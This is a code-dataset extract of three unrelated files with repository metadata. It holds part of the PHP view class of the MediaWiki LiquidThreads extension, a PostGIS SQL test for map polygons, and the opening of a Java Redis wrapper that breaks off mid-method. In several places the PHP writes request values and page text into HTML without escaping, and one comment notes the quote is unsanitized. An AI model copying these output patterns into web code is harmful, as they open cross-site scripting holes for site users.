$returnValue = "<a href=\"{$url}\"{$style}>{$prefix}{$text}{$inside}</a>{$trail}";
}
else {
$returnValue = $linker->makeKnownLinkObj( $nt, $text, $query, $trail, $prefix );
}
return false;
}
// One major place that doesn't use makeLinkObj is the tabs. So override known/unknown there too.
static function tabAction(&$skintemplate, $title, $message, $selected, $checkEdit,
&$classes, &$query, &$text, &$result) {
if( ! $title->isTalkPage() )
return true;
if( $title->getArticleID() != 0 ) {
$query = "";
return true;
}
// It's a talkpage without a header. Get rid of action=edit always,
// color as apropriate.
$query = "";
$article = new Article($title->getSubjectPage());
$threads = Threads::where(Threads::articleClause($article), "LIMIT 1");
if( count($threads) != 0 ) {
$i = array_search('new', $classes); if( $i !== false ) {
array_splice($classes, $i, 1);
}
}
return true;
}
static function changesListArticleLink(&$changeslist, &$articlelink, &$s, &$rc, $unpatrolled, $watched) {
$thread = null;
/* What an utter crock of shit.
The first row for a given date has the date plus the <ul> tag inside what's
supposed to be the individual row HTML, $s. */
/* var_dump($s);
$articlelink = '<span style="color:orange;">Yo</span>';
return true;*/
if( $rc->getTitle()->getNamespace() == NS_LQT_THREAD ) {
$thread = Threads::withRoot(new Post( $rc->getTitle() ));
if($thread) {
$msg = wfMessage( 'lqt_changes_from' )->text();
$link = $thread->article()->getTitle()->getTalkPage();
}
}
else if( $rc->getTitle()->getNamespace() == NS_LQT_SUMMARY ) {
$thread = Threads::withSummary(new Article( $rc->getTitle() ));
if($thread) {
$msg = wfMessage( 'lqt_changes_summary_of' )->text();
$link = $thread->title();
}
}
if($thread) {
$articlelink .= $msg . $changeslist->skin->makeKnownLinkObj( $link );
}
return true;
}
static function customizeOldChangesList(&$changeslist, &$s, &$rc) {
if( $rc->getTitle()->getNamespace() == NS_LQT_THREAD ) {
$thread = Threads::withRoot(new Post( $rc->getTitle() ));
if( !$thread ) return true;
LqtView::addJSandCSS(); // TODO only do this once.
if( $rc->mAttribs['rc_type'] != RC_NEW ) {
// Add whether it was original author.
// TODO: this only asks whether ANY edit has been by another, not this edit.
// But maybe that's what we want.
if( $thread->editedness() == Threads::EDITED_BY_OTHERS )
$appendix = ' <span class="lqt_rc_author_notice lqt_rc_author_notice_others">'.
wfMessage( 'lqt_rc_author_others' )->text().'</span>';
else
$appendix = ' <span class="lqt_rc_author_notice lqt_rc_author_notice_original">'.
wfMessage( 'lqt_rc_author_original' )->text().'</span>';
$s = preg_replace( '/\<\/li\>$/', $appendix . '</li>', $s );
}
else {
$sig = "";
$changeslist->insertUserRelatedLinks($sig, $rc);
// This should be stored in RC.
$quote = Revision::newFromId($rc->mAttribs['rc_this_oldid'])->getText();
if( strlen($quote) > 230 ) {
$quote = substr($quote, 0, 200) .
$changeslist->skin->link($thread->title(), wfMessage( 'lqt_rc_ellipsis' )->text(),
array('class'=>'lqt_rc_ellipsis'), array(), array('known'));
}
// TODO we must parse or sanitize the quote.
if( $thread->isTopmostThread() ) {
$message_name = 'lqt_rc_new_discussion';
$tmp_title = $thread->title();
} else {
$message_name = 'lqt_rc_new_reply';
$tmp_title = $thread->topmostThread()->title();
$tmp_title->setFragment( '#' . LqtView::anchorName( $thread ) );
}
$thread_link = $changeslist->skin->link(
$tmp_title,
$thread->subjectWithoutIncrement(),
array(), array(), array('known'));
$talkpage_link = $changeslist->skin->link(
$thread->article()->getTitle()->getTalkPage(),
null,
array(), array(), array('known'));
$s = wfMsg($message_name, $thread_link, $talkpage_link, $sig)
. "<blockquote class=\"lqt_rc_blockquote\">$quote</blockquote>";
}
}
return true;
}
static function setNewtalkHTML($skintemplate, $tpl) {
global $wgUser, $wgTitle, $wgOut;
$newmsg_t = SpecialPage::getTitleFor( 'NewMessages' );
$watchlist_t = SpecialPage::getTitleFor( 'Watchlist' );
$usertalk_t = $wgUser->getTalkPage();
if( $wgUser->getNewtalk()
&&! $newmsg_t->equals($wgTitle)
&&! $watchlist_t->equals($wgTitle)
&&! $usertalk_t->equals($wgTitle)
) {
$s = wfMsgExt('lqt_youhavenewmessages', array( 'parseinline' ), $newmsg_t->getFullURL());
$tpl->set("newtalk", $s);
$wgOut->setSquidMaxage(0);
} else {
$tpl->set("newtalk", '');
}
return true;
}
}
class LqtView {
protected $article;
protected $output;
protected $user;
protected $title;
protected $request;
protected $headerLevel = 2; /* h1, h2, h3, etc. */
protected $maxIndentationLevel = 4;
protected $lastUnindentedSuperthread;
protected $user_colors;
protected $user_color_index;
const number_of_user_colors = 6;
protected $queries;
public $archive_start_days = 30;
public $archive_recent_days = 5;
protected $sort_order=LQT_NEWEST_CHANGES;
function __construct(&$output, &$article, &$title, &$user, &$request) {
$this->article = $article;
$this->output = $output;
$this->user = $user;
$this->title = $title;
$this->request = $request;
$this->user_colors = array();
$this->user_color_index = 1;
$this->queries = $this->initializeQueries();
}
function setHeaderLevel($int) {
$this->headerLevel = $int;
}
function initializeQueries() {
if( $this->methodApplies('talkpage_sort_order') ) {
// Sort order is explicitly specified through UI
global $wgRequest;
$lqt_order=$wgRequest->getVal('lqt_order');
switch($lqt_order) {
case 'nc':
$this->sort_order=LQT_NEWEST_CHANGES;
break;
case 'nt':
$this->sort_order=LQT_NEWEST_THREADS;
break;
case 'ot':
$this->sort_order=LQT_OLDEST_THREADS;
break;
}
} else {
// Sort order set in user preferences overrides default
global $wgUser;
$user_order = $wgUser->getOption('lqt_sort_order') ;
if( $user_order ) {
$this->sort_order=$user_order;
}
}
global $wgOut;
$g = new QueryGroup();
$startdate = Date::now()->nDaysAgo($this->archive_start_days)->midnight();
$recentstartdate = $startdate->nDaysAgo($this->archive_recent_days);
$article_clause = Threads::articleClause($this->article);
if($this->sort_order==LQT_NEWEST_CHANGES) {
$sort_clause='ORDER BY thread.thread_modified DESC';
} elseif($this->sort_order==LQT_NEWEST_THREADS) {
$sort_clause='ORDER BY thread.thread_created DESC';
} elseif($this->sort_order==LQT_OLDEST_THREADS) {
$sort_clause='ORDER BY thread.thread_created ASC';
}
$g->addQuery('fresh',
array($article_clause,
'thread.thread_parent is null',
'(thread.thread_modified >= ' . $startdate->text() .
' OR (thread.thread_summary_page is NULL' .
' AND thread.thread_type='.Threads::TYPE_NORMAL.'))'),
array($sort_clause));
$g->addQuery('archived',
array($article_clause,
'thread.thread_parent is null',
'(thread.thread_summary_page is not null' .
' OR thread.thread_type='.Threads::TYPE_NORMAL.')',
'thread.thread_modified < ' . $startdate->text()),
array($sort_clause));
$g->extendQuery('archived', 'recently-archived',
array('( thread.thread_modified >=' . $recentstartdate->text() .
' OR rev_timestamp >= ' . $recentstartdate->text() . ')',
'summary_page.page_id = thread.thread_summary_page', 'summary_page.page_latest = rev_id'),
array(),
array('page summary_page', 'revision'));
return $g;
}
static protected $occupied_titles = array();
/*************************
* (1) linking to liquidthreads pages and
* (2) figuring out what page you're on and what you need to do.
*************************/
static function queryStringFromArray( $vars ) {
$q = '';
if ( $vars && count( $vars ) != 0 ) {
foreach( $vars as $name => $value )
$q .= "$name=$value&";
}
return $q;
}
function methodAppliesToThread( $method, $thread ) {
return $this->request->getVal('lqt_method') == $method &&
$this->request->getVal('lqt_operand') == $thread->id();
}
function methodApplies( $method ) {
return $this->request->getVal('lqt_method') == $method;
}
static function permalinkUrl( $thread, $method = null, $operand = null ) {
if($thread) {
$query = $method ? "lqt_method=$method" : "";
$query = $operand ? "$query&lqt_operand={$operand->id()}" : $query;
return $thread->root()->getTitle()->getFullUrl($query);
}
}
/* This is used for action=history so that the history tab works, which is
why we break the lqt_method paradigm. */
static function permalinkUrlWithQuery( $thread, $query ) {
if ( is_array($query) ) $query = self::queryStringFromArray($query);
return $thread->root()->getTitle()->getFullUrl($query);
}
static function permalinkUrlWithDiff( $thread ) {
$changed_thread = $thread->changeObject();
$curr_rev_id = $changed_thread->rootRevision();
$curr_rev = Revision::newFromTitle( $changed_thread->root()->getTitle(), $curr_rev_id );
$prev_rev = $curr_rev->getPrevious();
$oldid = $prev_rev ? $prev_rev->getId() : "";
return self::permalinkUrlWithQuery( $changed_thread, array('lqt_method'=>'diff', 'diff'=>$curr_rev_id, 'oldid'=>$oldid) );
}
static function talkpageUrl( $title, $method = null, $operand = null, $includeFragment = true ) {
global $wgRequest; // TODO global + ugly hack.
$query = $method ? "lqt_method=$method" : "";
$query = $operand ? "$query&lqt_operand={$operand->id()}" : $query;
$oldid = $wgRequest->getVal('oldid', null); if( $oldid !== null ) {
// this is an immensely ugly hack to make editing old revisions work.
$query = "$query&oldid=$oldid";
}
return $title->getFullURL( $query ) . ($operand && $includeFragment ? "#lqt_thread_{$operand->id()}" : "");
}
/**
* Return a URL for the current page, including Title and query vars,
* with the given replacements made.
* @param $repls array( 'name'=>new_value, ... )
*/
function queryReplace( $repls ) {
$vs = $this->request->getValues();
$rs = array();
/* foreach ($vs as $k => $v) {
if ( array_key_exists( $k, $repls ) ) {
$rs[$k] = $repls[$k];
} else {
$rs[$k] = $vs[$k];
}
}
*/
foreach ( $repls as $k => $v ) {
$vs[$k] = $v;
}
return $this->title->getFullURL(self::queryStringFromArray($vs));
}
/*************************************************************
* Editing methods (here be dragons) *
* Forget dragons: This section distorts the rest of the code *
* like a star bending spacetime around itself. *
*************************************************************/
/**
* Return an HTML form element whose value is gotten from the request.
* TODO: figure out a clean way to expand this to other forms.
*/
function perpetuate( $name, $as ) {
$value = $this->request->getVal($name, '');
if ( $as == 'hidden' ) {
return <<<HTML
<input type="hidden" name="$name" id="$name" value="$value">
HTML;
}
}
function showReplyProtectedNotice($thread) {
$log_url = SpecialPage::getTitleFor('Log')->getFullURL(
"type=protect&user=&page={$thread->title()->getPrefixedURL()}");
$this->output->addHTML('<p>' . wfMsg('lqt_protectedfromreply',
'<a href="'.$log_url.'">'.wfMessage( 'lqt_protectedfromreply_link' )->text().'</a>'));
}
function showNewThreadForm() {
$this->showEditingFormInGeneral( null, 'new', null );
}
function showPostEditingForm( $thread ) {
$this->showEditingFormInGeneral( $thread, 'editExisting', null );
}
function showReplyForm( $thread ) {
if( $thread->root()->getTitle()->userCan( 'edit' ) ) {
$this->showEditingFormInGeneral( null, 'reply', $thread );
} else {
$this->showReplyProtectedNotice($thread);
}
}
function showSummarizeForm( $thread ) {
$this->showEditingFormInGeneral( null, 'summarize', $thread );
}
private function showEditingFormInGeneral( $thread, $edit_type, $edit_applies_to ) {
/*
EditPage needs an Article. If there isn't a real one, as for new posts,
replies, and new summaries, we need to generate a title. Auto-generated
titles are based on the subject line. If the subject line is blank, we
can temporarily use a random scratch title. It's fine if the title changes
throughout the edit cycle, since the article doesn't exist yet anyways.
*/
if ($edit_type == 'summarize' && $edit_applies_to->summary() ) {
$article = $edit_applies_to->summary();
} else if ($edit_type == 'summarize') {
$t = $this->newSummaryTitle($edit_applies_to);
$article = new Article($t);
} else if ( $thread == null ) {
$subject = $this->request->getVal('lqt_subject_field', '');
if ($edit_type == 'new') {
$t = $this->newScratchTitle($subject);
} else if ($edit_type == 'reply') {
$t = $this->newReplyTitle($subject, $edit_applies_to);
}
$article = new Article($t);
} else {
$article = $thread->root();
}
$e = new EditPage($article);
$e->suppressIntro = true;
$e->editFormTextBeforeContent .=
$this->perpetuate('lqt_method', 'hidden') .
$this->perpetuate('lqt_operand', 'hidden');
if ( $edit_type=='new' || ($thread && !$thread->hasSuperthread()) ) {
// This is a top-level post; show the subject line.
$db_subject = $thread ? $thread->subjectWithoutIncrement() : '';
$subject = $this->request->getVal('lqt_subject_field', $db_subject);
$subject_label = wfMessage( 'lqt_subject' )->text();
$e->editFormTextBeforeContent .= <<<HTML
<label for="lqt_subject_field">$subject_label</label>
<input type="text" size="60" name="lqt_subject_field" id="lqt_subject_field" value="$subject" tabindex="1"><br />
HTML;
}
$e->edit();
// Override what happens in EditPage::showEditForm, called from $e->edit():
// $wgOut->setArticleRelated( false );
$this->output->setArticleFlag( false );
// For replies and new posts, insert the associated thread object into the DB.
if ($edit_type != 'editExisting' && $edit_type != 'summarize' && $e->didSave) {
if ( $edit_type == 'reply' ) {
$thread = Threads::newThread( $article, $this->article, $edit_applies_to, $e->summary );
$edit_applies_to->commitRevision(Threads::CHANGE_REPLY_CREATED, $thread, $e->summary);
} else {
$thread = Threads::newThread( $article, $this->article, null, $e->summary );
}
}
if ($edit_type == 'summarize' && $e->didSave) {
$edit_applies_to->setSummary( $article );
$edit_applies_to->commitRevision(Threads::CHANGE_EDITED_SUMMARY, $edit_applies_to, $e->summary);
}
// Move the thread and replies if subject changed.
if( $edit_type == 'editExisting' && $e->didSave ) {
$subject = $this->request->getVal('lqt_subject_field', '');
if ( $subject && $subject != $thread->subjectWithoutIncrement() ) {
// $reason = $this->request->getVal("wpSummary", "");
$this->renameThread($thread, $subject, $e->summary);
}
// this is unrelated to the subject change and is for all edits:
$thread->setRootRevision( Revision::newFromTitle($thread->root()->getTitle()) );
$thread->commitRevision( Threads::CHANGE_EDITED_ROOT, $thread, $e->summary );
}
// A redirect without $e->didSave will happen if the new text is blank (EditPage::attemptSave).
// This results in a new Thread object not being created for replies and new discussions,
// so $thread is null. In that case, just allow editpage to redirect back to the talk page.
if ( $this->output->getRedirect() != '' && $thread ) {
$this->output->redirect( $this->title->getFullURL() . '#' . 'lqt_thread_' . $thread->id() );
} else if ( $this->output->getRedirect() != '' && $edit_applies_to ) {
// For summaries:
$this->output->redirect( $edit_applies_to->title()->getFullURL() . '#' . 'lqt_thread_' . $edit_applies_to->id() );
}
}
function renameThread($t,$s,$reason) {
$this->simplePageMove($t->root()->getTitle(),$s, $reason);
// TODO here create a redirect from old page to new.
foreach( $t->subthreads() as $st ) {
$this->renameThread($st, $s, $reason);
}
}
function scratchTitle() {
$token = md5(uniqid(rand(), true));
return Title::newFromText( "Thread:$token" );
}
function newScratchTitle($subject) {
return $this->incrementedTitle( $subject?$subject:wfMessage( 'lqt_nosubject' )->text(), NS_LQT_THREAD );
}
function newSummaryTitle($t) {
return $this->incrementedTitle( $t->subject(), NS_LQT_SUMMARY );
}
function newReplyTitle($s, $t) {
return $this->incrementedTitle( $t->subjectWithoutIncrement(), NS_LQT_THREAD );
}
/** Keep trying titles starting with $basename until one is unoccupied. */
public static function incrementedTitle($basename, $namespace) {
$i = 1; do {
$t = Title::newFromText( $basename.'_('.$i.')', $namespace );
$i++;
} while ( $t->exists() || in_array($t->getPrefixedDBkey(), self::$occupied_titles) );
return $t;
}
/* Adapted from MovePageForm::doSubmit in SpecialMovepage.php. */
function simplePageMove( $old_title, $new_subject, $reason ) {
if ( $this->user->pingLimiter( 'move' ) ) {
$this->out->rateLimited();
return false;
}
# Variables beginning with 'o' for old article 'n' for new article
$ot = $old_title;
$nt = $this->incrementedTitle($new_subject, $old_title->getNamespace());
self::$occupied_titles[] = $nt->getPrefixedDBkey();
# don't allow moving to pages with # in
if ( !$nt || $nt->getFragment() != '' ) {
echo "malformed title"; // TODO real error reporting.
return false;
}
$error = $ot->moveTo( $nt, true, "Changed thread subject: $reason" );
if ( $error !== true ) {
var_dump($error);
echo "something bad happened trying to rename the thread."; // TODO
return false;
}
# Move the talk page if relevant, if it exists, and if we've been told to
// TODO we need to implement correct moving of talk pages everywhere later.
// Snipped.
return true;
}
/**
* Example return value:
* array (
* 0 => array( 'label' => 'Edit',
* 'href' => 'http...',
* 'enabled' => false ),
* 1 => array( 'label' => 'Reply',
* 'href' => 'http...',
* 'enabled' => true )
* )
*/
function threadFooterCommands($thread) {
$commands = array();
$user_can_edit = $thread->root()->getTitle()->quickUserCan( 'edit' );
$commands[] = array( 'label' => $user_can_edit ? wfMessage( 'edit' )->text() : wfMessage( 'viewsource' )->text(),
'href' => $this->talkpageUrl( $this->title, 'edit', $thread ),
'enabled' => true );
$commands[] = array( 'label' => wfMessage( 'history_short' )->text(),
'href' => $this->permalinkUrlWithQuery($thread, 'action=history'),
'enabled' => true );
$commands[] = array( 'label' => wfMessage( 'lqt_permalink' )->text(),
'href' => $this->permalinkUrl( $thread ),
'enabled' => true );
if ( in_array('delete', $this->user->getRights()) ) {
$delete_url = SpecialPage::getTitleFor('DeleteThread')->getFullURL()
. '/' . $thread->title()->getPrefixedURL();
$commands[] = array( 'label' => $thread->type() == Threads::TYPE_DELETED ? wfMessage( 'lqt_undelete' )->text() : wfMessage( 'delete' )->text(),
'href' => $delete_url,
'enabled' => true );
}
$commands[] = array( 'label' => '<b class="lqt_reply_link">' . wfMessage( 'lqt_reply' )->text() . '</b>',
'href' => $this->talkpageUrl( $this->title, 'reply', $thread ),
'enabled' => $user_can_edit );
return $commands;
}
function topLevelThreadCommands($thread) {
$commands = array();
$commands[] = array( 'label' => wfMessage( 'history_short' )->text(),
'href' => $this->permalinkUrl($thread, 'thread_history'),
'enabled' => true );
if( in_array('move', $this->user->getRights()) ) {
$move_href = SpecialPage::getTitleFor('MoveThread')->getFullURL()
. '/' . $thread->title()->getPrefixedURL();
$commands[] = array( 'label' => wfMessage( 'move' )->text(),
'href' => $move_href,
'enabled' => true );
}
if( !$this->user->isAnon() && !$thread->title()->userIsWatching() ) {
$commands[] = array( 'label' => wfMessage( 'watch' )->text(),
'href' => $this->permalinkUrlWithQuery($thread, 'action=watch'),
'enabled' => true );
} else if( !$this->user->isAnon() ) {
$commands[] = array( 'label' => wfMessage( 'unwatch' )->text(),
'href' => $this->permalinkUrlWithQuery($thread, 'action=unwatch'),
'enabled' => true );
}
return $commands;
}
/*************************
* Output methods *
*************************/
static function addJSandCSS() {
// Changed this to be static so that we can call it from
// wfLqtBeforeWatchlistHook.
global $wgJsMimeType, $wgScriptPath, $wgStyleVersion; // TODO globals.
global $wgOut;
$s = <<< HTML
<script type="{$wgJsMimeType}" src="{$wgScriptPath}/extensions/LiquidThreads/lqt.js"><!-- lqt js --></script>
<style type="text/css" media="screen, projection">/*<![CDATA[*/
@import "{$wgScriptPath}/extensions/LiquidThreads/lqt.css?{$wgStyleVersion}";
/*]]>*/</style>
HTML;
$wgOut->addScript($s);
}
/* @return False if the article and revision do not exist and we didn't show it, true if we did. */
function showPostBody( $post, $oldid = null ) {
/* Why isn't this all encapsulated in Article somewhere? TODO */
global $wgEnableParserCache;
// Should the parser cache be used?
$pcache = $wgEnableParserCache &&
intval( $this->user->getOption( 'stubthreshold' ) ) == 0 &&
$post->exists() &&
$oldid === null;
wfDebug( 'LqtView::showPostBody using parser cache: ' . ($pcache ? 'yes' : 'no' ) . "\n" );
if ( $this->user->getOption( 'stubthreshold' ) ) {
wfIncrStats( 'pcache_miss_stub' );
}
$outputDone = false;
if ( $pcache ) {
$outputDone = $this->output->tryParserCache( $post, $this->user );
}
if (!$outputDone) {
// Cache miss; parse and output it.
$rev = Revision::newFromTitle( $post->getTitle(), $oldid );
if ($rev && $oldid) {
// don't save oldids in the parser cache.
$this->output->addWikiText( $rev->getText() );
return true;
}
else if ($rev) {
$post->outputWikiText( $rev->getText(), true );
return true;
} else {
return false;
}
} else {
return true;
}
}
function colorTest() {
$this->output->addHTML( '<div class="lqt_footer"><li class="lqt_footer_sig">' );
for( $i = 1; $i <= self::number_of_user_colors; $i++ ) {
$this->output->addHTML("<span class=\"lqt_post_color_{$i}\"><a href=\"foo\">DavidMcCabe</a></span>");
}
$this->output->addHTML('</li></div>');
}
function showThreadFooter( $thread ) {
global $wgLang; // TODO global.
$author = $thread->root()->originalAuthor();
$color_number = $this->selectNewUserColor($author);
$sig = $this->user->getSkin()->userLink( $author->getID(), $author->getName() ) .
$this->user->getSkin()->userToolLinks( $author->getID(), $author->getName() );
$timestamp = $wgLang->timeanddate($thread->created());
$this->output->addHTML(<<<HTML
<ul class="lqt_footer">
<span class="lqt_footer_sig">
<li class="lqt_author_sig lqt_post_color_{$color_number}">$sig</li>
HTML
);
if( $thread->editedness() == Threads::EDITED_BY_AUTHOR ||
$thread->editedness() == Threads::EDITED_BY_OTHERS ) {
$editedness_url = $this->permalinkUrlWithQuery($thread, 'action=history');
$editedness_color_number = $thread->editedness() == Threads::EDITED_BY_AUTHOR ?
$color_number : ($color_number == self::number_of_user_colors ? 1 : $color_number + 1);
$this->output->addHTML("<li class=\"lqt_edited_notice lqt_post_color_{$editedness_color_number}\">".'<a href="'.$editedness_url.'">'.wfMessage( 'lqt_edited_notice' )->text().'</a>'.'</li>');
}
$this->output->addHTML("</span><li>$timestamp</li>");
$this->output->addHTML('<span class="lqt_footer_commands">' .
$this->listItemsForCommands($this->threadFooterCommands($thread)) .
'</span>');
$this->output->addHTML('</ul>');
}
function listItemsForCommands($commands) {
$result = array();
foreach( $commands as $command ) {
$label = $command['label'];
$href = $command['href'];
$enabled = $command['enabled'];
if( $enabled ) {
$result[] = "<li><a href=\"$href\">$label</a></li>";
} else {
$result[] = "<li><span class=\"lqt_command_disabled\">$label</span></li>";
}
}
return join("", $result);
}
function selectNewUserColor( $user ) {
$userkey = $user->isAnon() ? "anon:" . $user->getName() : "user:" . $user->getId();
if( !array_key_exists( $userkey, $this->user_colors ) ) {
$this->user_colors[$userkey] = $this->user_color_index;
$this->user_color_index += 1;
if ( $this->user_color_index > self::number_of_user_colors ) {
$this->user_color_index = 1;
}
}
return $this->user_colors[$userkey];
}
function showRootPost( $thread ) {
$popts = $this->output->parserOptions();
$previous_editsection = $popts->getEditSection();
$popts->setEditSection(false);
$this->output->parserOptions($popts);
$post = $thread->root();
// This is a bit of a hack to have individual histories work.
// We can grab oldid either from lqt_oldid (which is a thread rev),
// or from oldid (which is a page rev). But oldid only applies to the
// thread being requested, not any replies. TODO: eliminate the need
// for article-level histories.
$page_rev = $this->request->getVal('oldid', null);
if( $page_rev !== null && $this->title->equals($thread->root()->getTitle()) ) {
$oldid = $page_rev;
} else {
$oldid = $thread->isHistorical() ? $thread->rootRevision() : null;
}
$this->openDiv( $this->postDivClass($thread) );
if( $this->methodAppliesToThread( 'edit', $thread ) ) {
$this->showPostEditingForm( $thread );
} else{
$this->showPostBody( $post, $oldid );
$this->showThreadFooter( $thread );
}
$this->closeDiv();
if( $this->methodAppliesToThread( 'reply', $thread ) ) {
$this->indent($thread);
$this->showReplyForm( $thread );
$this->unindent($thread);
}
$popts->setEditSection($previous_editsection);
$this->output->parserOptions($popts);
}
function showThreadHeading( $thread ) {
if ( $thread->hasDistinctSubject() ) {
if( $thread->hasSuperthread() ) {
$commands_html = "";
} else {
$lis = $this->listItemsForCommands($this->topLevelThreadCommands($thread));
$commands_html = "<ul class=\"lqt_threadlevel_commands\">$lis</ul>";
}
$html = $thread->subjectWithoutIncrement() .
' <span class="lqt_subject_increment">(' .
$thread->increment() . ')</span>';
$this->output->addHTML( "<h{$this->headerLevel} class=\"lqt_header\">
<span class=\"mw-headline\">" . $html . "</span></h{$this->headerLevel}>$commands_html" );
}
}
function postDivClass( $thread ) {
return 'lqt_post';
}
static function anchorName($thread) {
if($thread) {
return "lqt_thread_{$thread->id()}";
}
}
function showThread( $thread ) {
global $wgLang; # TODO global.
if ( $thread->type() == Threads::TYPE_DELETED
&& ! $this->request->getBool('lqt_show_deleted_threads') )
return;
if( $this->lastUnindentedSuperthread ) {
$tmp = $this->lastUnindentedSuperthread;
$msg = wfMsg('lqt_in_response_to',
'<a href="#lqt_thread_'.$tmp->id().'">'.$tmp->title()->getText().'</a>',
$tmp->root()->originalAuthor()->getName());
$this->output->addHTML('<span class="lqt_nonindent_message">←'.$msg.'</span>');
}
$this->showThreadHeading( $thread );
$this->output->addHTML( "<a name=\"{$this->anchorName($thread)}\" ></a>" );
if ($thread->type() == Threads::TYPE_MOVED) {
$revision = Revision::newFromTitle( $thread->title() );
$target = Title::newFromRedirect( $revision->getText() );
$t_thread = Threads::withRoot( new Article( $target ) );
$author = $thread->root()->originalAuthor();
$sig = $this->user->getSkin()->userLink( $author->getID(), $author->getName() ) .
$this->user->getSkin()->userToolLinks( $author->getID(), $author->getName() );
$this->output->addHTML( wfMsg('lqt_move_placeholder',
'<a href="'.$target->getFullURL().'">'.$target->getText().'</a>',
$sig,
$wgLang->timeanddate($thread->modified())
));
return;
}
if ( $thread->type() == Threads::TYPE_DELETED ) {
if ( in_array('deletedhistory', $this->user->getRights()) ) {
$this->output->addHTML('<p>'. wfMsg('lqt_thread_deleted_for_sysops',
'<b>'.wfMessage( 'lqt_thread_deleted_for_sysops_deleted' )->text().'</b>') .'</p>');
}
else {
$this->output->addHTML('<p><em>'.wfMessage( 'lqt_thread_deleted' )->text().'</em></p>');
return;
}
}
$timestamp = new Date($thread->modified());
if( $thread->summary() ) {
$this->showSummary($thread);
} else if ( $timestamp->isBefore(Date::now()->nDaysAgo($this->archive_start_days))
&& !$thread->summary() && !$thread->hasSuperthread() && !$thread->isHistorical() ) {
$this->output->addHTML('<p class="lqt_summary_notice">'. wfMsg('lqt_summary_notice',
'<a href="'.$this->permalinkUrl($thread, 'summarize').'">'.wfMessage( 'lqt_summary_notice_link' )->text().'</a>',
$this->archive_start_days
) .'</p>');
}
$this->openDiv('lqt_thread', "lqt_thread_id_{$thread->id()}");
$this->showRootPost( $thread );
if( $thread->hasSubthreads() ) $this->indent($thread);
foreach( $thread->subthreads() as $st ) {
$this->showThread($st);
}
if( $thread->hasSubthreads() ) $this->unindent($thread);
$this->closeDiv();
}
function indent($thread) {
if( $this->headerLevel <= $this->maxIndentationLevel ) {
$this->output->addHTML('<dl class="lqt_replies"><dd>');
} else {
$this->output->addHTML('<div class="lqt_replies_without_indent">');
}
$this->lastUnindentedSuperthread = null;
$this->headerLevel += 1;
}
function unindent($thread) {
if( $this->headerLevel <= $this->maxIndentationLevel + 1 ) {
$this->output->addHTML('</dd></dl>');
} else {
$this->output->addHTML('</div>');
}
// See the beginning of showThread().
$this->lastUnindentedSuperthread = $thread->superthread();
$this->headerLevel -= 1;
}
function openDiv( $class='', $id='' ) {
$this->output->addHTML( wfOpenElement( 'div', array('class'=>$class, 'id'=>$id) ) );
}
function closeDiv() {
$this->output->addHTML( wfCloseElement( 'div' ) );
}
function showSummary($t) {
if ( !$t->summary() ) return;
$label = wfMessage( 'lqt_summary_label' )->text();
$edit = strtolower(wfMessage( 'edit' )->text());
$link = strtolower(wfMessage( 'lqt_permalink' )->text());
$this->output->addHTML(<<<HTML
<div class='lqt_thread_permalink_summary'>
<span class="lqt_thread_permalink_summary_title">
$label
</span><span class="lqt_thread_permalink_summary_edit">
[<a href="{$t->summary()->getTitle()->getFullURL()}">$link</a>]
[<a href="{$this->permalinkUrl($t,'summarize')}">$edit</a>]
</span>
HTML
);
$this->openDiv('lqt_thread_permalink_summary_body');
$this->showPostBody($t->summary());
$this->closeDiv();
$this->closeDiv();
}
}
|
hexmode/wikipathways.org
|
extensions/LiquidThreads/LqtBaseView.php
|
PHP
|
gpl-2.0
| 36,889
|
/*
This is a test of using a view as the query result to have a
simple function which takes all parameters only once. The query
is too slow compared to the used query...
*/
-- Defining the view
DROP VIEW gimpmaps_polygon_osm CASCADE;
CREATE OR REPLACE VIEW gimpmaps_polygon_osm AS
SELECT
*,
''::text AS svg
FROM planet_osm_polygon;
-- Defining the function
DROP FUNCTION IF EXISTS gimpmaps_select_polygon(
ul_x numeric,
ul_y numeric,
lr_x numeric,
lr_y numeric,
size_x integer,
size_y integer,
brush_size integer
);
CREATE OR REPLACE FUNCTION gimpmaps_select_polygon(
ul_x numeric,
ul_y numeric,
lr_x numeric,
lr_y numeric,
size_x integer,
size_y integer,
brush_size integer
)
RETURNS SETOF planet_osm_polygon AS
$$
SELECT
*
FROM
planet_osm_polygon
WHERE
way
&&
gimpmaps_get_bbox($1, $2, $3, $4, $5, $6, $7)
AND
ST_Area(way) > ($7 * $7) ^2
$$
LANGUAGE SQL;
-- The actual query (for the Dresden city center)
SELECT
svg
FROM gimpmaps_select_polygon(
1528600, 6631200, 1530300, 6630000,
1295, 914, 3
)
WHERE building IS NOT NULL
|
mucximilian/gimpmaps
|
sql/test/one_input_function.sql
|
SQL
|
gpl-2.0
| 1,080
|
package com.iyihua.itimes.service.component;
import java.util.Map;
import java.util.Set;
import java.util.TreeSet;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import redis.clients.jedis.Jedis;
import redis.clients.jedis.JedisCluster;
import redis.clients.jedis.JedisPool;
//@Component
public class RedisService {
// @Autowired
private JedisCluster jedisCluster;
private int expire = 0;
// timeout for jedis try to connect to redis server, not expire time! In milliseconds
private int timeout = 0;
/**
* get value from redis
*
* @param key
* @return
*/
public byte[] get(byte[] key) {
// byte[] value = null;
// Jedis jedis = jedisPool.getResource();
// try{
// value = jedis.get(key);
// }finally{
// jedisPool.returnResource(jedis);
// }
// return value;
return jedisCluster.get(key);
}
/**
* set
*
* @param key
* @param value
* @return
*/
public byte[] set(byte[] key, byte[] value) {
// Jedis jedis = jedisPool.getResource();
// try{
// jedis.set(key,value);
// if(this.expire != 0){
// jedis.expire(key, this.expire);
// }
// }finally{
// jedisPool.returnResource(jedis);
// }
// return value;
jedisCluster.set(key, value);
return value;
}
/**
* set
*
* @param key
* @param value
* @param expire
* @return
*/
public byte[] set(byte[] key, byte[] value, int expire) {
// Jedis jedis = jedisPool.getResource();
// try{
// jedis.set(key,value);
// if(expire != 0){
// jedis.expire(key, expire);
// }
// }finally{
// jedisPool.returnResource(jedis);
// }
// return value;
jedisCluster.set(key, value);
if (expire != 0) {
jedisCluster.expire(key, expire);
}
return value;
}
/**
* del
*
* @param key
*/
public void del(byte[] key) {
// Jedis jedis = jedisPool.getResource();
// try{
// jedis.del(key);
// }finally{
// jedisPool.returnResource(jedis);
// }
jedisCluster.del(key);
}
/**
* flush
*/
public void flushDB() {
// Jedis jedis = jedisPool.getResource();
// try{
// jedis.flushDB();
// }finally{
// jedisPool.returnResource(jedis);
// }
jedisCluster.flushDB();
// jedisCluster.flushAll();
}
/**
* size
*/
public Long dbSize() {
// Long dbSize = 0L;
// Jedis jedis = jedisPool.getResource();
// try{
